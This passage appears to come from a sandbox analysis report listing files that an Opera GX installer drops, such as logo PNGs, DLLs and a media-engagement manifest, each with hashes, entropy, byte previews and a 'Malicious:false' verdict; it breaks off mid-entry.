                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2005
                                                                                                                                                                                                              Entropy (8bit):7.837796638299837
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:FtyHJuovwDhlXRvUCvqfPAuwdESKbtU04aQkClnRU8lbPxbsFIV4hEIA:FtygGwDhlX1oHO4KwCAQ9MEIA
                                                                                                                                                                                                              MD5:667BFBAAEB2D2B372B6E0D4BF4992CE4
                                                                                                                                                                                                              SHA1:4C6C2E07183963F59391945FBEE077B55F8F6B2A
                                                                                                                                                                                                              SHA-256:207519F1C7B6C7509BFEB7B55724997EEC6456C8BAF55E882E72FC5CD43DA221
                                                                                                                                                                                                              SHA-512:AC63A3DD2F6088E7849E3824C35FD58CA78EC77DC31E1F6CBD47DE7CC394318CBA7D2309912206A94180267BE057C2AF5C835424019E2A03EE33A2AB801BA9A4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...b...b.............IDATx..........S.d..........=...F...m...5.r..........m....g{......[1..q./.D.B."......)h.a.o..x.p..r....]..\....b fR......W.a.."..Ix............58.G.G%D.....0lE..E1D.<...u<o...6>....-.`..FX....l\.....K.....{..Y........D...............B.<G.....7.5...8...\....?.!j.b..F..PH..X....8."..,..R....X...((..G.0..&~a...{..DA<v.....H.4Q.u..a..#<Bk...E ..b\@'...3...U.\..4M...o.m.m.m.m.m..$..R9......&..NMW..{..4].....m....h..y/..x....a.[e..7.ua.^.lC8....l0....1...r.&........G.......c.....d....F]...M.a&.M..V..?[..t.P.Xx...*<.(...s...'.Q....'.~{_......8....R.%..7|O.Bl......Sr....^..@..........us.".M..?x....*.T.....A....&.l........H`g..."...I}E.7..].=...C.gz........V!.EE.....7WvB.!.d..vJ...k.{?.......1.n/.Q.{.....LD..;k...\....]G..S.+....F3.}z.=F(.....$..D.[.y.... /Q..eU...]M.[r.......}.f.s..;..!...s..C...x...Y3...<....0.O.p.\..&5...f.u.....4..A..".. .lD..7.#..P.../.i. ......+...M...}/..U\...}..Ah3"t.....D...!v..V$

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-140_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 98 x 98, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1697
                                                                                                                                                                                                              Entropy (8bit):7.76630495035972
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:TyhJvOYkuSoLYIWawZM7SkzaacHxXgr4RzhQpKP7C:6JWiEIOuWkCxCSzhQpCC
                                                                                                                                                                                                              MD5:93223E8777B581E988B703DF82593B17
                                                                                                                                                                                                              SHA1:40A035464C27041CCC87C7935C45100D93D1C948
                                                                                                                                                                                                              SHA-256:464AFAF960C32ABDC2C3937A48BF14C5D1A819B017E719FDED591D43A65D94C4
                                                                                                                                                                                                              SHA-512:B8A3EE4A71E609625EAB51F0F6DAFCC82CC47BA2C567CC8BF73CF6423056F9171276289BFDCC8428B7C07645097664065EE9B0B78874425BFF800178222FED12
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...b...b...........hIDATx...........9.Q.f..ttS....u....%..1.a.s.!f..c.b.b.K7QFg3..Y..2M5..6:B..z9.%..N.s>9.{.=..........|.7------------..QNt.G..].E.....b.s.e..X.C...Q.b.;.p..m......g....L.\te.G\.d...F..X..=f..]y.A..\e.t....Ei''...d.X...X..7[TYh.1J..g...y....]/.,r...........mi..2.6J.6Yte.....g.....<o...;..v.T..KJm..\T....i...G.."Qe.c..1.I.T#.6...2...7.y.K.*'.....p..J.2S.V...zf..Z%b..Z.6.z._j.}K..w..R.2.Y..M...P..l..d.JG..Sm..0V..o.u.'R..6...(U.k...k.+m..i].n.ub..D.b.JwJ......-1..(. U..|.^....(."UO..z;.@,2Vi..D,...;K.NAi.."f.TO.j.XlO..}$..M6..".iC.."..MO]-..[(]"U.i..E...J.K..zn..".V..M..i....q.(=%.5...R.e...:P."..(.*U..[...M.G~C......Q3)..]o.%U.*./.c....t..:J...q..k...g...R....\...A.@.kl...H.vJ...x..../....9.:..?q...Y..":@i...4f..E.Yi.T}^.....Q..#..h.#"...4S.y.l...AiG.kl.QWI.nJ.E.F.}M.tP...9...U.f..g...../....]..U:N.{..B..A.2..i.Ru..A"..+jg.kE./Ru..R.g.D...n.q..X-b...f...b.+.q......gD.Y.....q.....t..kA.."&j..Ru..."...j..D..4n.S.wD..gG.x..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-180.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 126 x 126, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2699
                                                                                                                                                                                                              Entropy (8bit):7.8799233652993115
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Is+9LgA+9fj19UhKwdgrviOztr/CrWbqCLRTFxFCEEgq0Ol81sqAGz:IlSN1gBTOztr/jbzdh1y0wl1+
                                                                                                                                                                                                              MD5:704D0A2693B350E7C463B0FF2143835B
                                                                                                                                                                                                              SHA1:0313AD4C3690A590AC54552D2C27806E73776600
                                                                                                                                                                                                              SHA-256:D6367DBC074E37F3488C26B0BAD229BFE99F5C6BB0E28D37B41906C436152B57
                                                                                                                                                                                                              SHA-512:4517B2FA911149885EC5549F3173D3C774716740826873E4B2199C804B17E776A5296565930E5ACDB8D5476710A391B21E6DA8941DF64C525A487DB4619A1EA7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...~...~......#.....RIDATx......................f..`....6..m..j#fm.qm.Am.m......%_...q.i-.>dh.........q.o!!..]...LC.TF..D.o.8...8.O..|.iLC#$PO<..1P.....wX....J..<5...$`O1.YU..g.L....<.....h....K.4Aw.....[.I...yU)....D|..x......`f..................9f....Y...p..!..E..U%...]......l.#.....#gPB.5...^C4.G.........g...5R... ......W.~H@. .*....8.....G...N.U...c....J".....YQ.m0....b.5.V.Y....:.......(W1.E...yb.,..a.bT.^.O!a...6...+!:.*..|O1......ZQ9...M.6.....!.6..O.XI...#jF..w.o.#|c...%Y.h.m.m.m.m.m.......8.qog.N.....3.}...R.....8...P.M.....].....B......3xs...:M!...K.;.mL.7l.N..=..7......sfJ.;..|Q........}:m..08...y.+.5...D..:....|8.m.]........04Z..b.......c.r....|.....m.6/..!...Y..)4._..0KY.e.[.qL.!...X ..jk.....|.....Ki....q...28...-.....<....4.d`.Z{.-]|B..3 PJ.gP.iW-..]m..61c...8.b.,.. P?&.0........A..!_k`.\.s.>.......d..R...."*<.e../.A.S .+...O.Oq.&.B.Y.6...S.!W^....... ..3.A..*...GA.uX.|[..Oh..=..[..9....l-.l..+...mM..Xu_.#)..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-180_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 126 x 126, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2334
                                                                                                                                                                                                              Entropy (8bit):7.8839656878677005
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:W/zeI9zj1u/VwgVNR+vEgxOfU99BpcZlp9uqRhq4eZDU0BMK:W/zn51gxN4RxH9hUlpkAMt/BT
                                                                                                                                                                                                              MD5:39E2FCF13C20103C5F449C06D3A4CF75
                                                                                                                                                                                                              SHA1:AE8E1BCE2BE17ED450D891864E6AA22642AF39AC
                                                                                                                                                                                                              SHA-256:5D46E4056F3915C279F1FA9EDF61D93529FBCAE5C59D616380EC5D9405B7763D
                                                                                                                                                                                                              SHA-512:8E4902262B064008804D49D1B5F27BB7B8F33ECEFB05181AA69534E1D21662719DD4F8E0677C58215F6C5CA9EB4FB92FCA54A89F9720230AFBF06A70216ABF26
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...~...~.....H*m.....IDATx...{p......1\0<.%.1<........L.(.0P....R.(Hkk.3.>(-.X.t...>.Q........#P.H.JECxZ.<...5...${.7......../...g........x<.....x<u.0.Y<.f.s.r..7..1.Q.#.#...X...C|.r.......h...b.e..D.[.H..RG.q..f\.9RhV.y....<.Z..0..K.9.c.s(.C9...d=.4..YJ.V....l2..Y,.....u..kH&........rFh.Na.k8A%J..<.-D...Wc.EL'..T~.......I.........N..F...<E.Q$.*.-N2..a.D..;H Jt..%q.....ml......3L$.n..-.Ha0SX..\.#..w..28..W...Z.......Y.......o.......v5.......|...xv.X.G5m.e....tzq.e.7.G.r..Q...D2l.^....E)J..14............~..HCg8...JZ..TN....id..l...3.Vz9...` ....%3.F..v.JG'....Y...,.lc"-.K.]y...h.m.0C.I....".(Gq....g.S>E#....C..+.....].u...+..I...g....b.H....3d.S =.O,.7[...q.|.6/..U.U(.ed.,....DX{.JA}.im;..)..ld.p.*?....QK.....H..i.....#.~&=.&....pZ..&.2....J.s....p..r...y.e.....c..3.g.H.z".#....C'M.h...?......v...&"...z.e(i.+Wz].....<....?....M+s.&....d....*.0n.....s...<Ws?I....?.{...`5z3..w8.........s.B.d..K..K....LLY.j..^...a.p.~.z....-......l.dM.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-80.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 56 x 56, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1096
                                                                                                                                                                                                              Entropy (8bit):7.755097954664401
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:TDh4JYYFMId219dZt07Zcglb4iS/cFEAAabL3/006Fs:B4JBMPVEbCe/006Fs
                                                                                                                                                                                                              MD5:32D3E390613CDDBD639E70DDB2511AC0
                                                                                                                                                                                                              SHA1:C96AC088E72D756F31896B16776EF100379F802C
                                                                                                                                                                                                              SHA-256:DC20E5AA2B500CD5B5C9F89647D3487810685C94268F22678E27820E2454BB3E
                                                                                                                                                                                                              SHA-512:7381CEB8FEE84F398082177F30DC01593BEEFA729C73B0166AF686BCD25D54312B202D9243834B754769DE41E9A1DEED74CA91A76DCDA918A749CDB4F08C124B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...8...8.......;.....IDATx...S.,I....[k.m.m.m...k.f....0..Ag5..<.w.1...r:..g.+...+........MX.k`=l......\(...........,vDq>.......x..`wl.U...x..[.....(..p...@u..z...1M../.D>...z..'vJ..U..'C.......?c:..U........GQ...,.P.T<...-..|$~....q..n=L..iF....X....q.......p.6{q8.u'*.R..C...Qg..YCN.:........#g^.R...w.......U..j...H5..eF......iO`..4r.R.[.....0...9{....u.v....X6!>.F`*.Nk.....J...5.P..}..F.\..Lk._.`.#...od..7..4!V.......-...{r.P....9^5.2.(.G..OT..<9}1....A..Q...U.{C.....o..S.....S...b....z..T...o....z..Z.xv......O|.8.....u......c...?.....u.u........p4.v`......kQ..4.....jzf.^....F..4...j:.._K.;..z]..0.0>..........|..W..Z5!6.b?....2O.....,.>.Q.y..-...._..k..w.}.V....s.o....W*..._Q...X..=Tcmc{N.P..1..j..'...l.-.?j^2..*~}Zo.J..7..F....D.91.....#2^..7.}7........$.:P..oc"6I..)n...|A..G.....l'..x..bM#.|...e.yT...k..y.]9...2.ao.z~.g`4....e0L..........t....n*.....}D.>.O..Vv..vE.Qs.\.~...s..........v.....T..7..A.9.s.]zQ...Gb.q).2....e...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Assets\70x70Logo.scale-80_contrast-white.png

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PNG image data, 56 x 56, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):901
                                                                                                                                                                                                              Entropy (8bit):7.682141855410327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:x2BZqWXRHKkqILfEDtySHnb98XPA8KWstHNMufZ4jJO2C:xZQEC8BywBmPAGpC4jJa
                                                                                                                                                                                                              MD5:E6ADD5AFC73F7B06FC2348550595F8D6
                                                                                                                                                                                                              SHA1:4D658BDDB93FA6CB423EBC61BD20DB37E4D37DB6
                                                                                                                                                                                                              SHA-256:DD6F46D32C3E235508F9E4C7D7F993BD807D955BCA7E63CF3D57C6C4C102F46D
                                                                                                                                                                                                              SHA-512:55437DFEA7F68A4572DFC86B5428CBE9DB86C0D32D0B09BA6B7B1CF8E49E5F1BB94285BBDC97D8EE00D70BA75921DB59644787C1BE1672FE37CEE09441F249B6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...8...8...........LIDATx...mh.e...c....#.."aM..f!Dh....eFaa......0$3.a.bS.(!..$..@%1-+.,.ge..\.9..=<...}...=..7.\'7.-////...T.2.x.F...Ur.5.v..L...Iv..-..a.1&...Y!...U.S%..a......k.V!=....'..M.Pl.F!..s.V..B8g.n..9a......Z.k.....vH..i]V.Yx.....ve:R.I-.c.d...\......S.s<.?....`....).Ab.za^.s.1....~r4[...6a.......$6.o.I.z..A.Z.HG.:.r.C..E..<+.#Q..P.J.._.xYX-...[I.'l.o.{...Q.Y.E.'.V..3...H........i'.w...........:a<...W2.I..0P8(K...IL.V....).V......=". .....;.,....F&..U$6.....d...e.T.}aK...4I.!.(.U."...,}-\G.Rx[&..O...$Kk.I$.k.[&..c......S,.v.....(.Ao...,...K[&T..|.......G.G.6a.++t\..*.?...La......F.....r9..t.U.9.DG.8.o#..j.d..L.~..;B....e.f....*,.......b{./.....N.......`.e$npL.U..f.j.I..A....Oa.^.F.N8`...xU.........@?..t%$.,...l.n)._h0/U.d.....l.C...I....R..)..........3H...N....h.9j.2.{.n_...y..m.9.5.^...H7.i.A.....e.?..R....]....IEND.B`.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\CUESDK.x64_2017.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):485336
                                                                                                                                                                                                              Entropy (8bit):5.205549823247078
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:ulTZkQQzVVTgmAffw5QTzL6+75I+qZojZdu:uzkQQzVVTgmAffMQTjO+xC
                                                                                                                                                                                                              MD5:4A62310BFF97A82354AB672AB261D9DE
                                                                                                                                                                                                              SHA1:ECEDAB92190B415CFB39C198B8881562D291C5B6
                                                                                                                                                                                                              SHA-256:DDFB26F64CC3521A1A43A45891AE60AA84AAB330E21367AE0D7D26FE6E6A39E2
                                                                                                                                                                                                              SHA-512:D7B2623BF5CB5CAE8EFDC15D7CC50FA6AE4D840D982BCB1444EEE7E1A12E1B8668D300BD028CCC14C749CF5BC657305A3C6DE36B772ED30B9AE6057C73001ADF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.y...*...*...*.xE*...*.h.+...*.h.+...*.h.+...*.h.+...*.f.+...*...*p..*ci.+...*ci.+...*ci)*...*..A*...*ci.+...*Rich...*........PE..d....v|_.........." .....N...........L..............................................l.....`.............................................#............`..6.......,F..."...E...p..(...@...8...................`...(....................................................text...hM.......N.................. ..`.rdata...)...`...*...R..............@..@.data....*...........|..............@....pdata..TN.......P..................@..@.idata..X!......."..................@..@.tls.........@......................@....00cfg.......P......................@..@.rsrc...6....`......................@..@.reloc.......p......................@..B........................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\MEIPreload\manifest.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):238
                                                                                                                                                                                                              Entropy (8bit):4.824253848576346
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:v5975JVSS18iMkh26VlcmutLwyAGI/zj//gQNMC:Bbt18l+LlMLqGU/gQNMC
                                                                                                                                                                                                              MD5:442699C95B20A60470421C6A4D29960F
                                                                                                                                                                                                              SHA1:C7317F2D2414C991C21205BA3C68A187B997E3C1
                                                                                                                                                                                                              SHA-256:44844CF3DDE6E80087AE0E6BF0D9326D7EF7D23326D24AC83AF0850BE26923D2
                                                                                                                                                                                                              SHA-512:C89CF089F7FEEB80C6DED11F1FCE84287ABE8216A6E05723D1A7FAF567C501C043CD1246FF8DBEE1240D2D79C41B698EF4CC3459589E68E5BFC5BED7FC3A150B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{. "name": "MEI Preload", . "icons": {}, . "version": "1.0.7.1652906823", . "manifest_version": 2, . "update_url": "https://clients2.google.com/service/update2/crx", . "description": "Contains preloaded data for Media Engagement".}.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\MEIPreload\preloaded_data.pb

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8254
                                                                                                                                                                                                              Entropy (8bit):6.795641289553097
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:bTOpyeS7AOv6EVp/m3FPKk15jjKVcOmQppXavFbeLfzrLyp:bTOk7AdEugo5jjK+5QppXaBebzrLyp
                                                                                                                                                                                                              MD5:D5E4C2634EFF8A9B3FAF432BF406D6D1
                                                                                                                                                                                                              SHA1:A691F5C9877079193C1F7DFB16DBC30BB0372EC9
                                                                                                                                                                                                              SHA-256:C6070A157B4E28D16FBCCBD233E93846DDB070C85E1A1BC64469B7A5F1424FAD
                                                                                                                                                                                                              SHA-512:B264E28AC8F111DF01C553445AADC7BCDB3F32A38A1A19D3F9D458270DFEAF80EFA7144407BD999892022AF9DDE9DBF8A0E19E7212720E1C6511EA9125AFB166
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..@5..0@...@y@o@.AK@X@.@w.!@.@.@.A.A.@.@B@.@.@.<A.A2A_..6strea.....kpo..anim..^...elo.tele..g....pan..bancidiz...don...Ikor........D...ap.cuem...ukleren.squl......ve..vco.. ....sten.tid..+v........dou...myvrs..=bb.jl..#streamfai..P2...nkk........10...f..R527......p...7............85.231.223....11.90.159.13...movie..w23serie...3tv.co...h...pla...00mg...bstrea..W93.178.172.11...49.56.24.2...........secure...|qo.....routk..nitetv.roge..}map...ndavide..ci.t...view.abc.ne..O...j....lianonlinenetw............r..'oora4liv......8.topgir..33.sogirl..rshow12...ayospor.......mc..s...k......sian..nime.c..n......prof..ba..Mtochk..Zkra..Tg...-....K............@.'..2.vos......m..rig...r.. ......@g..>..........perpl..)...tualpi...gintvgo.virginme...eo...mbox.skyen..@aplay.O.E0B...d....W......portal.jo.._...e...ma..........Lsearch.ya...frida......a..Qhnex..jvarzes..ey...........e....y...d.tv...stfr......l......seigr..U...d...q.....z....serial...r...cuevana..Amovistarplu..a.......f

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\Resources.pri

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3072
                                                                                                                                                                                                              Entropy (8bit):3.118957212117411
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Whs+6rek/gF1A6Gbi+4eTy8iPTUucUITUuqQTUGUQTUsITU6UQTUQITUuUQTU0I0:WWnep/FFLxPoRJo+oGpoBo6po1oupop0
                                                                                                                                                                                                              MD5:400817D0A91767CB830767AA94383F31
                                                                                                                                                                                                              SHA1:73F36C895190223F94E4D52657F14454B2BCBA44
                                                                                                                                                                                                              SHA-256:35D92C86C1C054D1C03F4E58B83681BBFD8573143EE5E4CFB4CBD788A1FFC107
                                                                                                                                                                                                              SHA-512:2216DFC65E24961A18A4622FF6D8D8A1330283E64477A0E44BAC5B8F9A4CB5690FC90F598BBC152214EE6AA8770FE6608C4C809EC6F2CC73547D8166603B3E15
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:mrm_pri0........ ...............[mrm_decn_info].............8...[mrm_pridescex].........8...H...[mrm_hschema] .................[mrm_res_map__].............@...[mrm_decn_info].........8.......................................................................................................................................................................................................................................W.H.I.T.E...8.0...1.8.0...1.4.0...1.0.0.............8...[mrm_pridescex].........H...........................................H...[mrm_hschema] ...................................U^........m.s.-.a.p.p.x.:././.O.p.e.r.a./...O.p.e.r.a.....................L.......................F...........A...........O...........1.../.......7...!...................................F.i.l.e.s...A.s.s.e.t.s...O.p.e.r.a.P.R.I.C.o.n.f.i.g...x.m.l...7.0.x.7.0.L.o.g.o...p.n.g...1.5.0.x.1.5.0.L.o.g.o...p.n.g..........................................[mrm_res_map__].........@.......,.......................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\assistant_package

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3175096
                                                                                                                                                                                                              Entropy (8bit):7.976170594344242
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:ikio3YlwFUlLge925aRHC5rSuhNtd1zRXwr:iYAwFUl8M2F5xhNH11o
                                                                                                                                                                                                              MD5:B42C9D554BE04DAB84C355F648366B21
                                                                                                                                                                                                              SHA1:3D4703D84F047ECEBEA205AF7CA8AE00997535F5
                                                                                                                                                                                                              SHA-256:359EBEEAC4A46B318094DDD8A770A05BAAE7FB7BA9113D0E1439E355FB4EF602
                                                                                                                                                                                                              SHA-512:2AE2CFEE1AFC6E9CF6C7CC9218DB152842835294F3305B40B2DD823C13CC1C195FA19F2C561B82288902A3CC0EF0EB4E88E46256DF230FB1CBEE8BE71866D8E9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(2S&lS=ulS=ulS=u'+>t`S=u'+8t.S=u..8tAS=u..9t.S=u..>tyS=u'+9tyS=u'+<teS=ulS<u.S=u..5t:S=u...umS=ulS.umS=u..?tmS=uRichlS=u........PE..L...4.if...............'..........................@...................................1...@..................................R..d................... I0..).......&......................................@............................................text............................... ..`.rdata..............................@..@.data....A...`.......J..............@....rsrc................`..............@..@.reloc...&.......(...l..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\d3dcompiler_47.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4927408
                                                                                                                                                                                                              Entropy (8bit):6.402931773667284
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:OCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRNZ:dG2QCwmHjnog/pzHAo/Ay
                                                                                                                                                                                                              MD5:0FAD94230A5433839EF37D962896C3D6
                                                                                                                                                                                                              SHA1:FA55BD24880FE0B800E08D14F40B8473E8126F74
                                                                                                                                                                                                              SHA-256:B07B02EC562BBBDCBD470550CEF4BBFFDDEE142F307FD5B3C80ECA2CA49C6C44
                                                                                                                                                                                                              SHA-512:2EC608B101B06583D2B813568F100EAE79334258FC1D158B67E72FBFEF7E657CB7952D5B5E818FE07DB7489D05F2B949012C636CEFA28B021574E8048E7E5A9E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d.....Ne.........." ......8..........<).......................................K.....v.L...`A........................................`%G.x....(G.P.....J.@.....H.......J..O....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxcompiler.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):21793688
                                                                                                                                                                                                              Entropy (8bit):6.537204472841874
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:393216:n+twcs2jS2y1n/UFQkSvRih2tKA6RPTtZRouTJXGZN0Ky2UyuQDLvrU22VxZQA1V:BMOH0mNQ6cl
                                                                                                                                                                                                              MD5:7ABD99F27CA202EBB0FCBF5519268B96
                                                                                                                                                                                                              SHA1:9D598408A6C5E965A066C135B3299125066BD858
                                                                                                                                                                                                              SHA-256:81D7F7478A7BD59C56E78914492A03765CBD5D91256EE8FEAF8CFBC3EAE3F90D
                                                                                                                                                                                                              SHA-512:EBBFE88C0CB73D2FFD3330985DCB87BF79C5E751D83B17C10A2A21C9C06E279E4EC98CFE306149AD9840D982BF2763DB8DCEA780BED31D8DC2DC5095150762A6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .........DB...............................................M.....s.M...`A..........................................$.p...P.$.x.....K.......B.....bL..)....K.....,.#.8.....................#.(...01..@...........X.$..............................text...f........................... ..`.rdata....7..0....7.................@..@.data........0B..n....B.............@....pdata.......B......~B.............@..@.gxfg....0...pK..2....K.............@..@.retplne......K......@K..................tls..........K......BK.............@..._RDATA........K......DK.............@..@.rsrc.........K......FK.............@..@.reloc........K......JK.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxil.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1519040
                                                                                                                                                                                                              Entropy (8bit):6.516037602058301
